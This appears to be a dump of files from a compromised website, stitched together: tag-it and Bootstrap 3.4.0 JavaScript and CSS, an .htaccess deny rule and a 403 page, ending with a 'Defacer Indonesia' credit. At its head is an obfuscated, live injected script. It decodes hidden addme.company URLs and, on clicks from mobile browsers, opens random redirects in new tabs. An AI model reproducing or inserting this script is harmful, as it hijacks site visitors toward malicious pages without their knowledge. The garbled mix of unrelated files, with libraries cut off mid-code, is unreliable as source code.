_0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x4c\x4e\x75\x32\x63\x322','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x57\x65\x33\x63\x373','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x6f\x64\x70\x30\x63\x340','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x65\x56\x37\x63\x387','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x42\x4a\x52\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x4d\x74\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x52\x4e\x48\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x76\x69\x61\x31\x63\x301',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x59\x72\x63\x34\x63\x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x77\x5a\x6a\x39\x63\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch><!DOCTYPE html> <html> <head> <title>403 Forbidden</title> </head> <body> <p>Directory access is forbidden.</p> </body> </html> !.gitignore js/*.min.js /* Optional scoped theme for tag-it which mimics the zendesk widget. */ ul.tagit { border-style: solid; border-width: 1px; border-color: #C6C6C6; background: inherit; } ul.tagit li.tagit-choice { -moz-border-radius: 6px; border-radius: 6px; -webkit-border-radius: 6px; border: 1px solid #CAD8F3; background: none; background-color: #DEE7F8; font-weight: normal; } ul.tagit li.tagit-choice .tagit-label:not(a) { color: #555; } ul.tagit li.tagit-choice a.tagit-close { text-decoration: none; } ul.tagit li.tagit-choice .tagit-close { right: .4em; } ul.tagit li.tagit-choice .ui-icon { display: none; } ul.tagit li.tagit-choice .tagit-close .text-icon { display: inline; font-family: arial, sans-serif; font-size: 16px; line-height: 16px; color: #777; } ul.tagit li.tagit-choice:hover, ul.tagit li.tagit-choice.remove { background-color: #bbcef1; border-color: #6d95e0; } ul.tagit li.tagit-choice a.tagLabel:hover, ul.tagit li.tagit-choice a.tagit-close .text-icon:hover { color: #222; } ul.tagit input[type="text"] { color: #333333; background: none; } .ui-widget { font-size: 1.1em; } /* Forked from a jQuery UI theme, so that we don't require the jQuery UI CSS as a dependency. */ .tagit-autocomplete.ui-autocomplete { position: absolute; cursor: default; } * html .tagit-autocomplete.ui-autocomplete { width:1px; } /* without this, the menu expands to 100% in IE6 */ .tagit-autocomplete.ui-menu { list-style:none; padding: 2px; margin: 0; display:block; float: left; } .tagit-autocomplete.ui-menu .ui-menu { margin-top: -3px; } .tagit-autocomplete.ui-menu .ui-menu-item { margin:0; padding: 0; zoom: 1; float: left; clear: left; width: 100%; } .tagit-autocomplete.ui-menu .ui-menu-item a { text-decoration:none; display:block; padding:.2em .4em; line-height:1.5; zoom:1; } .tagit-autocomplete .ui-menu .ui-menu-item a.ui-state-hover, .tagit-autocomplete .ui-menu .ui-menu-item a.ui-state-active { font-weight: normal; margin: -1px; } .tagit-autocomplete.ui-widget-content { border: 1px solid #aaaaaa; background: #ffffff 50% 50% repeat-x; color: #222222; } .tagit-autocomplete.ui-corner-all, .tagit-autocomplete .ui-corner-all { -moz-border-radius: 4px; -webkit-border-radius: 4px; -khtml-border-radius: 4px; border-radius: 4px; } .tagit-autocomplete .ui-state-hover, .tagit-autocomplete .ui-state-focus { border: 1px solid #999999; background: #dadada; font-weight: normal; color: #212121; } .tagit-autocomplete .ui-state-active { border: 1px solid #aaaaaa; } .tagit-autocomplete .ui-widget-content { border: 1px solid #aaaaaa; } .tagit .ui-helper-hidden-accessible { position: absolute !important; clip: rect(1px,1px,1px,1px); } ul.tagit { padding: 1px 5px; overflow: auto; margin-left: inherit; /* usually we don't want the regular ul margins. */ margin-right: inherit; } ul.tagit li { display: block; float: left; margin: 2px 5px 2px 0; } ul.tagit li.tagit-choice { position: relative; line-height: inherit; } input.tagit-hidden-field { display: none; } ul.tagit li.tagit-choice-read-only { padding: .2em .5em .2em .5em; } ul.tagit li.tagit-choice-editable { padding: .2em 18px .2em .5em; } ul.tagit li.tagit-new { padding: .25em 4px .25em 0; } ul.tagit li.tagit-choice a.tagit-label { cursor: pointer; text-decoration: none; } ul.tagit li.tagit-choice .tagit-close { cursor: pointer; position: absolute; right: .1em; top: 50%; margin-top: -8px; line-height: 17px; } /* used for some custom themes that don't need image icons */ ul.tagit li.tagit-choice .tagit-close .text-icon { display: none; } ul.tagit li.tagit-choice input { display: block; float: left; margin: 2px 5px 2px 0; } ul.tagit input[type="text"] { -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; -moz-box-shadow: none; -webkit-box-shadow: none; box-shadow: none; border: none; margin: 0; padding: 0; width: inherit; background-color: inherit; outline: none; } /* * jQuery UI Tag-it! * * @version v2.0 (06/2011) * * Copyright 2011, Levy Carneiro Jr. * Released under the MIT license. * http://aehlke.github.com/tag-it/LICENSE * * Homepage: * http://aehlke.github.com/tag-it/ * * Authors: * Levy Carneiro Jr. * Martin Rehfeld * Tobias Schmidt * Skylar Challand * Alex Ehlke * * Maintainer: * Alex Ehlke - Twitter: @aehlke * * Dependencies: * jQuery v1.4+ * jQuery UI v1.8+ */ (function($) { $.widget('ui.tagit', { options: { allowDuplicates : false, caseSensitive : true, fieldName : 'tags', placeholderText : null, // Sets `placeholder` attr on input field. readOnly : false, // Disables editing. removeConfirmation: false, // Require confirmation to remove tags. tagLimit : null, // Max number of tags allowed (null for unlimited). // Used for autocomplete, unless you override `autocomplete.source`. availableTags : [], // Use to override or add any options to the autocomplete widget. // // By default, autocomplete.source will map to availableTags, // unless overridden. autocomplete: {}, // Shows autocomplete before the user even types anything. showAutocompleteOnFocus: false, // When enabled, quotes are unneccesary for inputting multi-word tags. allowSpaces: false, // The below options are for using a single field instead of several // for our form values. // // When enabled, will use a single hidden field for the form, // rather than one per tag. It will delimit tags in the field // with singleFieldDelimiter. // // The easiest way to use singleField is to just instantiate tag-it // on an INPUT element, in which case singleField is automatically // set to true, and singleFieldNode is set to that element. This // way, you don't need to fiddle with these options. singleField: false, // This is just used when preloading data from the field, and for // populating the field with delimited tags as the user adds them. singleFieldDelimiter: ',', // Set this to an input DOM node to use an existing form field. // Any text in it will be erased on init. But it will be // populated with the text of tags as they are created, // delimited by singleFieldDelimiter. // // If this is not set, we create an input node for it, // with the name given in settings.fieldName. singleFieldNode: null, // Whether to animate tag removals or not. animate: true, // Optionally set a tabindex attribute on the input that gets // created for tag-it. tabIndex: null, // Event callbacks. beforeTagAdded : null, afterTagAdded : null, beforeTagRemoved : null, afterTagRemoved : null, onTagClicked : null, onTagLimitExceeded : null, // DEPRECATED: // // /!\ These event callbacks are deprecated and WILL BE REMOVED at some // point in the future. They're here for backwards-compatibility. // Use the above before/after event callbacks instead. onTagAdded : null, onTagRemoved: null, // `autocomplete.source` is the replacement for tagSource. tagSource: null // Do not use the above deprecated options. }, _create: function() { // for handling static scoping inside callbacks var that = this; // There are 2 kinds of DOM nodes this widget can be instantiated on: // 1. UL, OL, or some element containing either of these. // 2. INPUT, in which case 'singleField' is overridden to true, // a UL is created and the INPUT is hidden. if (this.element.is('input')) { this.tagList = $('<ul></ul>').insertAfter(this.element); this.options.singleField = true; this.options.singleFieldNode = this.element; this.element.addClass('tagit-hidden-field'); } else { this.tagList = this.element.find('ul, ol').andSelf().last(); } this.tagInput = $('<input type="text" />').addClass('ui-widget-content'); if (this.options.readOnly) this.tagInput.attr('disabled', 'disabled'); if (this.options.tabIndex) { this.tagInput.attr('tabindex', this.options.tabIndex); } if (this.options.placeholderText) { this.tagInput.attr('placeholder', this.options.placeholderText); } if (!this.options.autocomplete.source) { this.options.autocomplete.source = function(search, showChoices) { var filter = search.term.toLowerCase(); var choices = $.grep(this.options.availableTags, function(element) { // Only match autocomplete options that begin with the search term. // (Case insensitive.) return (element.toLowerCase().indexOf(filter) === 0); }); if (!this.options.allowDuplicates) { choices = this._subtractArray(choices, this.assignedTags()); } showChoices(choices); }; } if (this.options.showAutocompleteOnFocus) { this.tagInput.focus(function(event, ui) { that._showAutocomplete(); }); if (typeof this.options.autocomplete.minLength === 'undefined') { this.options.autocomplete.minLength = 0; } } // Bind autocomplete.source callback functions to this context. if ($.isFunction(this.options.autocomplete.source)) { this.options.autocomplete.source = $.proxy(this.options.autocomplete.source, this); } // DEPRECATED. if ($.isFunction(this.options.tagSource)) { this.options.tagSource = $.proxy(this.options.tagSource, this); } this.tagList .addClass('tagit') .addClass('ui-widget ui-widget-content ui-corner-all') // Create the input field. .append($('<li class="tagit-new"></li>').append(this.tagInput)) .click(function(e) { var target = $(e.target); if (target.hasClass('tagit-label')) { var tag = target.closest('.tagit-choice'); if (!tag.hasClass('removed')) { that._trigger('onTagClicked', e, {tag: tag, tagLabel: that.tagLabel(tag)}); } } else { // Sets the focus() to the input field, if the user // clicks anywhere inside the UL. This is needed // because the input field needs to be of a small size. that.tagInput.focus(); } }); // Single field support. var addedExistingFromSingleFieldNode = false; if (this.options.singleField) { if (this.options.singleFieldNode) { // Add existing tags from the input field. var node = $(this.options.singleFieldNode); var tags = node.val().split(this.options.singleFieldDelimiter); node.val(''); $.each(tags, function(index, tag) { that.createTag(tag, null, true); addedExistingFromSingleFieldNode = true; }); } else { // Create our single field input after our list. this.options.singleFieldNode = $('<input type="hidden" style="display:none;" value="" name="' + this.options.fieldName + '" />'); this.tagList.after(this.options.singleFieldNode); } } // Add existing tags from the list, if any. if (!addedExistingFromSingleFieldNode) { this.tagList.children('li').each(function() { if (!$(this).hasClass('tagit-new')) { that.createTag($(this).text(), $(this).attr('class'), true); $(this).remove(); } }); } // Events. this.tagInput .keydown(function(event) { // Backspace is not detected within a keypress, so it must use keydown. if (event.which == $.ui.keyCode.BACKSPACE && that.tagInput.val() === '') { var tag = that._lastTag(); if (!that.options.removeConfirmation || tag.hasClass('remove')) { // When backspace is pressed, the last tag is deleted. that.removeTag(tag); } else if (that.options.removeConfirmation) { tag.addClass('remove ui-state-highlight'); } } else if (that.options.removeConfirmation) { that._lastTag().removeClass('remove ui-state-highlight'); } // Comma/Space/Enter are all valid delimiters for new tags, // except when there is an open quote or if setting allowSpaces = true. // Tab will also create a tag, unless the tag input is empty, // in which case it isn't caught. if ( (event.which === $.ui.keyCode.COMMA && event.shiftKey === false) || event.which === $.ui.keyCode.ENTER || ( event.which == $.ui.keyCode.TAB && that.tagInput.val() !== '' ) || ( event.which == $.ui.keyCode.SPACE && that.options.allowSpaces !== true && ( $.trim(that.tagInput.val()).replace( /^s*/, '' ).charAt(0) != '"' || ( $.trim(that.tagInput.val()).charAt(0) == '"' && $.trim(that.tagInput.val()).charAt($.trim(that.tagInput.val()).length - 1) == '"' && $.trim(that.tagInput.val()).length - 1 !== 0 ) ) ) ) { // Enter submits the form if there's no text in the input. if (!(event.which === $.ui.keyCode.ENTER && that.tagInput.val() === '')) { event.preventDefault(); } // Autocomplete will create its own tag from a selection and close automatically. if (!(that.options.autocomplete.autoFocus && that.tagInput.data('autocomplete-open'))) { that.tagInput.autocomplete('close'); that.createTag(that._cleanedInput()); } } }).blur(function(e){ // Create a tag when the element loses focus. // If autocomplete is enabled and suggestion was clicked, don't add it. if (!that.tagInput.data('autocomplete-open')) { that.createTag(that._cleanedInput()); } }); // Autocomplete. if (this.options.availableTags || this.options.tagSource || this.options.autocomplete.source) { var autocompleteOptions = { select: function(event, ui) { that.createTag(ui.item.value); // Preventing the tag input to be updated with the chosen value. return false; } }; $.extend(autocompleteOptions, this.options.autocomplete); // tagSource is deprecated, but takes precedence here since autocomplete.source is set by default, // while tagSource is left null by default. autocompleteOptions.source = this.options.tagSource || autocompleteOptions.source; this.tagInput.autocomplete(autocompleteOptions).on('autocompleteopen.tagit', function(event, ui) { that.tagInput.data('autocomplete-open', true); }).on('autocompleteclose.tagit', function(event, ui) { that.tagInput.data('autocomplete-open', false); }); this.tagInput.autocomplete('widget').addClass('tagit-autocomplete'); } }, destroy: function() { $.Widget.prototype.destroy.call(this); this.element.off('.tagit'); this.tagList.off('.tagit'); this.tagInput.removeData('autocomplete-open'); this.tagList.removeClass([ 'tagit', 'ui-widget', 'ui-widget-content', 'ui-corner-/*! * Bootstrap v3.4.0 (https://getbootstrap.com/) * Copyright 2011-2018 Twitter, Inc. * Licensed under the MIT license */ if (typeof jQuery === 'undefined') { throw new Error('Bootstrap\'s JavaScript requires jQuery') } +function ($) { 'use strict'; var version = $.fn.jquery.split(' ')[0].split('.') if ((version[0] < 2 && version[1] < 9) || (version[0] == 1 && version[1] == 9 && version[2] < 1) || (version[0] > 3)) { throw new Error('Bootstrap\'s JavaScript requires jQuery version 1.9.1 or higher, but lower than version 4') } }(jQuery); /* ======================================================================== * Bootstrap: transition.js v3.4.0 * https://getbootstrap.com/docs/3.4/javascript/#transitions * ======================================================================== * Copyright 2011-2018 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // CSS TRANSITION SUPPORT (Shoutout: https://modernizr.com/) // ============================================================ function transitionEnd() { var el = document.createElement('bootstrap') var transEndEventNames = { WebkitTransition : 'webkitTransitionEnd', MozTransition : 'transitionend', OTransition : 'oTransitionEnd otransitionend', transition : 'transitionend' } for (var name in transEndEventNames) { if (el.style[name] !== undefined) { return { end: transEndEventNames[name] } } } return false // explicit for ie8 ( ._.) } // https://blog.alexmaccaw.com/css-transitions $.fn.emulateTransitionEnd = function (duration) { var called = false var $el = this $(this).one('bsTransitionEnd', function () { called = true }) var callback = function () { if (!called) $($el).trigger($.support.transition.end) } setTimeout(callback, duration) return this } $(function () { $.support.transition = transitionEnd() if (!$.support.transition) return $.event.special.bsTransitionEnd = { bindType: $.support.transition.end, delegateType: $.support.transition.end, handle: function (e) { if ($(e.target).is(this)) return e.handleObj.handler.apply(this, arguments) } } }) }(jQuery); /* ======================================================================== * Bootstrap: alert.js v3.4.0 * https://getbootstrap.com/docs/3.4/javascript/#alerts * ======================================================================== * Copyright 2011-2018 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // ALERT CLASS DEFINITION // ====================== var dismiss = '[data-dismiss="alert"]' var Alert = function (el) { $(el).on('click', dismiss, this.close) } Alert.VERSION = '3.4.0' Alert.TRANSITION_DURATION = 150 Alert.prototype.close = function (e) { var $this = $(this) var selector = $this.attr('data-target') if (!selector) { selector = $this.attr('href') selector = selector && selector.replace(/.*(?=#[^\s]*$)/, '') // strip for ie7 } selector = selector === '#' ? [] : selector var $parent = $(document).find(selector) if (e) e.preventDefault() if (!$parent.length) { $parent = $this.closest('.alert') } $parent.trigger(e = $.Event('close.bs.alert')) if (e.isDefaultPrevented()) return $parent.removeClass('in') function removeElement() { // detach from parent, fire event then clean up data $parent.detach().trigger('closed.bs.alert').remove() } $.support.transition && $parent.hasClass('fade') ? $parent .one('bsTransitionEnd', removeElement) .emulateTransitionEnd(Alert.TRANSITION_DURATION) : removeElement() } // ALERT PLUGIN DEFINITION // ===
Copyright ©2021 || Defacer Indonesia